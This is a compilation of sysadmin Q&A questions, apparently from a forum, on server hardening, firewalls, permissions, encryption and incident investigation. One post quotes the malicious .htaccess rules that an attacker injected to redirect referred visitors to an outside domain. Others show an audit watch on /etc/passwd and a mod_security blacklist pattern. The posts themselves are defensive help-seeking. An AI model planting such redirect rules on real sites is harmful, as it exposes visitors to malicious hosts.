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  • Mysterious visitor to hidden PHP page

    - by B. VB.
    On my website, I have a "hidden" page that displays a list of the most recent visitors. There exist no links at all to this single PHP page, and, theoretically, only I know of its existence. I check it many times per day to see what new hits I have. However, about once a week, I get a hit from a 208.80.194.* address on this supposedly hidden page (it records hits to itself). The strange thing is this: this mysterious person/bot does not visit any other page on my site. Not the public PHP pages, but only this hidden page that prints the visitors. It's always a single hit, and the HTTP_REFERER is blank. The other data is always some variation of Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; yplus 5.1.04b) ... but sometimes MSIE 6.0 instead of 7, and various other plug ins. The browser is different every time, as with the lowest-order bits of the address. And it's just that. One hit per week or so, to that one page. Absolutely no other pages are touched by this mysterious vistor. Doing a whois on that IP address showed it's from the new york area, and from the "Websense" ISP. The lowest order 8 bits of their address are always different, but always from 208.80.194.*/8. From most of the computers that I access my website, doing a tracerout to my server does not contain a router anywhere along the way with the IP 208.80.*. So that rules out any kind of HTTP sniffing, I might think. I have NO idea how, why this is happening. Does anyone have any clue, or have seen something as strange as this before? It seems completely benign, but unexplainable and a little creepy. Thanks in advance!

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  • How can I prevent Virtualmin from storing passwords in cleartext?

    - by Josh
    I am really surprised at this behavior. In Virtualmin, I can see the password for any SSH user by clicking the "(Show..)" link next to the "Password ( ) Leave unchanged" option in a variety of locations. I have found that the passwords for all users including users with SSH access are stored in cleartext files in /etc/webmin/... This seems like an unnecessary risk! How can I prevent Virtualmin from storing passwords in this manner?

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  • IIS and PHP restrict IO permissions

    - by ULTRA_POROV
    I have php installed trough a fastCGI module. Is there a way to restrict the module (php.exe) read / write permissions to only the directory (+ subdirs) of the IIS site that is calling it? I need this to prevent one IIS PHP site from having access to files outside its own directory. How to do this? Is there a setting in php.ini or in the IIS configuration? I believe such a feature could exist, because when a file on the server is requested the root path of the site is also known, all it would take is that IIS passes this path to the php module, and the php module should on its end allow only IO operations within this path. PS: I know it is possible to achieve this by using a different windows account for each website, this is not an option.

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  • Dangers of the pyton eval() statement

    - by LukeP
    I am creating a game. Specifically it is a pokemon battle simulator. I have an sqlite database of moves in which a row looks something like: name | type | Power | Accuracy | PP | Description However, there are some special moves. For said special moves, their damage (and other attributes not shown above, like status effects) may be dependant on certian factors. Rather than create a huge if/else in one of my classes covering the formulas for every one of these moves. I'd rather include another column in the DB that contains a formula in string form, like 'self.health/2'(simplified example). I could then just plug that into eval. I always see people saying to stay away from eval, but from what I can tell, this would be considered an acceptable use, as the dangers of eval only come into play when accepting user input. Am I correct in this assumption, or is there somthing i'm not seeing.

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  • Firewall - Preventing Content Theft & Rogue Crawlers

    - by drodecker
    Our websites are being crawled by content thieves on a regular basis. We obviously want to let through the nice bots and legitimate user activity, but block questionable activity. We have tried IP blocking at our firewall, but this becomes to manage the block lists. Also, we have used IIS-handlers, however that complicates our web applications. Is anyone familiar with network appliances, firewalls or application services (say for IIS) that can reduce or eliminate the content scrapers?

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  • Simple secured SFTP tunnel?

    - by babonk
    I'd like to setup an sftp tunnel so that I can connect to an IP-secured SFTP server through a gateway computer from anywhere, and download the files to anywhere. I was thinking of using a combination with netcat, having it listen to either WinSCP or PuTTY sFTP (doesn't matter which). Not sure how I would download the files to the connecting computer though. I would like the tunnel to be secured, preferably, with a username/password. I'm open to using alternative software but I'm looking for unintrusive, simple command line stuff because I don't want to install a lot on this computer. Thanks

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  • Is allowing remote Sql Server Management Studio safe?

    - by dave thieben
    I administer a website that runs on IIS on one box, and SQL Server 2008 Workgroup on another box. typically I remote into the DB box and run SSMS to work on the db, but I would like to be able to access the db directly with SSMS on my local box. I've seen the other questions about allowing remote access to the database, but my question is, is this safe? I'm concerned that I'm opening a hole in the firewall and potential for hack attempts. Is this just a bad idea in general?

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  • VPS, what to install next?

    - by Camran
    I have my VPS now, with ubuntu 9.10 OS. I wonder about SSH. What is it for, and how do I use it? Also, in which order should I install apps on my server? (ex: PuTTY, IPTABLES, LAMP etc...)? Thanks

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  • securing communication between 2 Linux servers on local network for ports only they need access to

    - by gkdsp
    I have two Linux servers connected to each other via a cross-connect cable, forming a local network. One of the servers presents a DMZ for the other server (e.g. database server) that must be very secure. I'm restricting this question to communication between the two servers for ports that only need to be available to these servers (and no one else). Thus, communication between the two servers can be established by: (1) opening the required port(s) on both servers, and authenticating according to the applications' rules. (2) disabling IP Tables associated with the NIC cards the cross-connect cable is attached to (on both servers). Which method is more secure? In the first case, the needed ports are open to the external world, but protected by user name and password. In the second case, none of the needed ports are open to the outside world, but since the IP Tables are disabled for the NIC cards associated with the cross-connect cables, essentially all of the ports may be considered to be "open" between the two servers (and so if the server creating the DMZ is compromized, the hacker on the DMZ server could view all ports open using the cross-connect cable). Any conventional wisdom how to make the communication secure between two servers for ports only these servers need access to?

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  • Looking for a new, free firewall (Sunbelt has a huge hole)

    - by Jason
    I've been using Sunbelt Personal Firewall v. 4.5 (previously Kerio). I've discovered that blocking Firefox connections in the configuration doesn't stop EXISTING Firefox connections. (See my post here yesterday http://superuser.com/questions/132625/sunbelt-firewall-4-5-wont-block-firefox) The "stop all traffic" may work on existing connections - but I'm done testing, as I need to be able to be selective, at any time. I was using the free version, so the "web filtering" option quit working after some time (mostly blocking ads and popups), but I didn't use that anyway. I used the last free version of Kerio before finally having to go to Sunbelt, because Kerio had an unfixed bug where you'd eventually get the BSOD and have to reset Kerio's configuration and start over (configure everything again). So I'm looking for a new Firewall. I don't like ZoneAlarm at all (no offense to all it's users that may be here - personal taste). I need the following: (Sunbelt has all these, except *) - 1. Be able to block in/out to localhost (trusted)/internet selectively for each application with a click (so there's 4 click boxes for each application) [*that effects everything immediately, regardless of what's already connected]. When a new application attempts a connection, you get an allow/deny/remember windows. - 2. Be able to easily set up filter rules for 'individual application'/'all applications,' by protocol, port/address (range), local, remote, in, out. [*Adding a filter rule also doesn't block existing connections in Sunbelt. That needs to work too.] - 3. Have an easy-to-get-to way to "stop all traffic" (like a right click option on the running icon in the task bar). - 4. Be able to set trusted/internet in/out block/allowed (4 things per item) for each of IGMP, ping, DNS, DHCP, VPN, and broadcasts. - 5. Define locahost as trusted/untrusted, define adapter connections as trusted/untrusted. - 6. Block incoming connetions during boot-up and shutdown. - 7. Show existing connections, including local & remote ip/port, protocol, current speed, total bytes transferred, and local ports opened for Listening. - 8. An Intrusion Prevention System which blocks (optionally select each one) known intrustions (long list). - 9. Block/allow applications from starting other applications (deny/allow/remember window). Wish list: A way of knowing what svchost.exe is doing - who is actually using it/calling it. I allowed it for localhost, and selectively allowed it for internet each time the allow/deny window came up. Thanks for any help/suggestions. (I'm using Windows XP SP3.)

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  • What are the best linux permissions to use for my website?

    - by Nic
    This is a Canonical Question about File Permissions on a Linux web server. I have a Linux web server running Apache2 that hosts several websites. Each website has its own folder in /var/www/. /var/www/contoso.com/ /var/www/contoso.net/ /var/www/fabrikam.com/ The base directory /var/www/ is owned by root:root. Apache is running as www-data:www-data. The Fabrikam website is maintained by two developers, Alice and Bob. Both Contoso websites are maintained by one developer, Eve. All websites allow users to upload images. If a website is compromised, the impact should be as limited as possible. I want to know the best way to set up permissions so that Apache can serve the content, the website is secure from attacks, and the developers can still make changes. One of the websites is structured like this: /var/www/fabrikam.com /cache /modules /styles /uploads /index.php How should the permissions be set on these directories and files? I read somewhere that you should never use 777 permissions on a website, but I don't understand what problems that could cause. During busy periods, the website automatically caches some pages and stores the results in the cache folder. All of the content submitted by website visitors is saved to the uploads folder.

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  • md5sum or sha1sum of legitmate microsoft system files

    - by martyvis
    Is there a database or repository of the legitimate checksums for Microsoft system files? We think we have a 0day on DNS for Windows 2003 SP2 using IRC for command and control. (Latest McAfee does not see an issue). I want to compare our customer's dns.exe and associated DLLs with the real ones. (I will grab a fresh SP2 and hotfixed system to do this, but wonder how to do this in future without needed to do this.)

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  • My Window's 7 is exposing me and my files I am the only administrator.

    - by Connie
    I am the only administrator on my Window's 7 Asus x53E series laptop. Why is a standard user able to access my files by just searching my name in the start menu? If I log into guest account and search my name it shows an error that i don't have permission. When i log into my roommate's standard account and go to the start menu I put my name in search and everything I have done or searched is open to them . How can i make my administrator account private

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  • Updating Applications in a Corporate Environment

    - by user145133
    I am very new to this subject and was hoping someone could shed some light on it. I am working on creating a corporate network that will obviously have multiple servers and multiple workstations. Let's say a new version of Adobe Flash comes out. I would think that you would want to test this update in a test environment before "pushing it out" to the servers and workstations. How do you guys go about controlling, testing and then pushing the application updates out? (i am not talking about windows updates). Do you use a 3rd party sysadmin tool? Home grown software? Any info will greatly be appreciated :)

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  • What are the current options to encrypted a partition on mac os x ?

    - by symbion
    I recently got my laptop stolen with some sensitive informations on it (personal source code, bank details in a secure file, passwords, etc) and I learnt the lesson: encrypt your sensitive data. Now, I am wondering what are the options to encrypt a partition (not an encrypt disk image) ? Aim: The aim is to prevent anyone (except me) to access those data. Requirement 0: The software must be able to encrypt non system partition. Requirement 1: Plausible deniability is required but preventing cold boot attack is however not an absolute requirement (I am not famous enough or have sensitive enough info to have this kind of requirement). Requirement 2 : Software taking advantage of AES hardware encryption are very welcome as I intent to get a Macbook Pro with i7 CPU (with AES-NI enabled instructions). I will have avirtual machine running in the encrypted partition. Requirement 3 : Free or reasonably cheap. Requirement 4 : Software must run on Mac OS X Snow Leopard or Lion. So far, TrueCrypt is the only option I have found. Regards,

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  • How to securely connect to multiple different LDAPS servers (Debian)

    - by Pickle
    I'm trying to connect to multiple different LDAPS servers. A lot of the documentation I've seen recommends setting TLS_REQCERT never, but that strikes me as horribly unsecure to not verify the certificate. So I've set that to demand. All the documentation I've seen says I need to update ldap.conf with a TLS_CACERT directive pointing to a .pem file. I've got that .pem file set up with the certificate from LDAP Server #1, and ldaps connections are happening fine. I've now got to communicate securely with another LDAP server in another branch of my organization, that uses a different certificate. I've seen no documentation on how to do this, except 1 page that says I can simply put multiple (not chained) certificates in the same .pem file. I've done this and everything is working hunky dorey. However, when I told a colleague what I did, he sounded like the sky was falling - putting 2 non-chained certificates into one .pem file is apparently the worst thing since ... ever. Is there a more acceptable way to do this? Or is this the only accepted way?

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  • How to know who accessed a file or if a file has 'access' monitor in linux

    - by J L
    I'm a noob and have some questions about viewing who accessed a file. I found there are ways to see if a file was accessed (not modified/changed) through audit subsystem and inotify. However, from what I have read online, according to here: http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html it says to 'watch/monitor' file, I have to set a watch by using command like: # auditctl -w /etc/passwd -p war -k password-file So if I create a new file or directory, do I have to use audit/inotify command to 'set' watch first to 'watch' who accessed the new file? Also is there a way to know if a directory is being 'watched' through audit subsystem or inotify? How/where can I check the log of a file? edit: from further googling, I found this page saying: http://www.kernel.org/doc/man-pages/online/pages/man7/inotify.7.html The inotify API provides no information about the user or process that triggered the inotify event. So I guess this means that I cant figure out which user accessed a file? Only audit subsystem can be used to figure out who accessed a file?

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  • Linux File Permissions & Access Control Query

    - by Jason
    Hi, Lets say I am user: bob & group: users. There is this file: -rw----r-- 1 root users 4 May 8 22:34 testfile First question, why can't bob read the file as it's readable by others? Is it simply that if you are denied by group, then you are auto-blacklisted for others? I always assumed that the final 3 bits too precedence over user/group permission bits, guess I was wrong... Second question, how is this implemented? I suppose it's linked to the first query, but how does this work in relation to Access Control, is it related to how ACLs work / are queried? Just trying to understand how these 9 permission bits are actually implemented/used in Linux. Thanks alot.

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  • Finding Webserver Vulnerability

    - by Brent
    We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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  • Good free guide for mod_security?

    - by Josh
    I have looked at the official sites documentation, and it is a little tough to find starting points. Is there a free comprehensive guide that is easy to understand for someone that has never dealt with mod_security?

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  • Allow outgoing connections for DNS

    - by Jimmy
    I'm new to IPtables, but I am trying to setup a secure server to host a website and allow SSH. This is what I have so far: #!/bin/sh i=/sbin/iptables # Flush all rules $i -F $i -X # Setup default filter policy $i -P INPUT DROP $i -P OUTPUT DROP $i -P FORWARD DROP # Respond to ping requests $i -A INPUT -p icmp --icmp-type any -j ACCEPT # Force SYN checks $i -A INPUT -p tcp ! --syn -m state --state NEW -j DROP # Drop all fragments $i -A INPUT -f -j DROP # Drop XMAS packets $i -A INPUT -p tcp --tcp-flags ALL ALL -j DROP # Drop NULL packets $i -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # Stateful inspection $i -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT # Allow established connections $i -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # Allow unlimited traffic on loopback $i -A INPUT -i lo -j ACCEPT $i -A OUTPUT -o lo -j ACCEPT # Open nginx $i -A INPUT -p tcp --dport 443 -j ACCEPT $i -A INPUT -p tcp --dport 80 -j ACCEPT # Open SSH $i -A INPUT -p tcp --dport 22 -j ACCEPT However I've locked down my outgoing connections and it means I can't resolve any DNS. How do I allow that? Also, any other feedback is appreciated. James

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  • strategy /insights for avoiding document content loss due to encryption

    - by pbernatchez
    I'm about to encourage a group of people to begin using S-Mime and GPG for digital signatures and encryption. I foresee a nightmare of encrypted documents which can no longer be recovered because of lost keys. The thorniest issue is archiving. The natural way to preserve privacy in an archive is to archive the encrypted document. But that opens us up to the risk of a lost key when time comes to unarchive a document, or a forgotten password. After all it will be a long way in the future. This would be equivalent to having destroyed the document. First thought is archiving keys with documents, but that still leaves the forgotten pass phrase. Archiving the passphrase too would be tantamount to archiving in the clear. No privacy. What approaches do you use? What insights can you offer on the issue?

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  • Is there some file browser that uses low level functions to browse hard disk?

    - by watbywbarif
    I have Windows 7, NTFS hard disk. I have detected rootkit files but can't delete them through Windows explorer, obviously because they are not visible. Is there some other file browser that is using low level function calls, lower that win api, so that I can try to see and study these files before removal. I know the exact locations. I know that I can load some live CD and delete them, but I wonder about the first possible solution.

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  • Disable modsec2 blacklist rule for specific hostname

    - by KevinL
    I have a server running Apache2 with mod_security2. In modsec2.user.conf, there is a blacklist rule: ###BLACKLIST### SecRule REQUEST_URI "mkdir" I need to disable that rule for just one hostname on the server. I realize I could just remove it entirely but I'd rather keep it on for the other sites. I realize you can use the SecRuleRemoveByID directive, based on each rule's ID, but as you can see above, this has no ID, it's just a string. How do I disable that rule for just www.example.com, is there something I can do in custom.conf, whitelist.conf or exclude.conf ?

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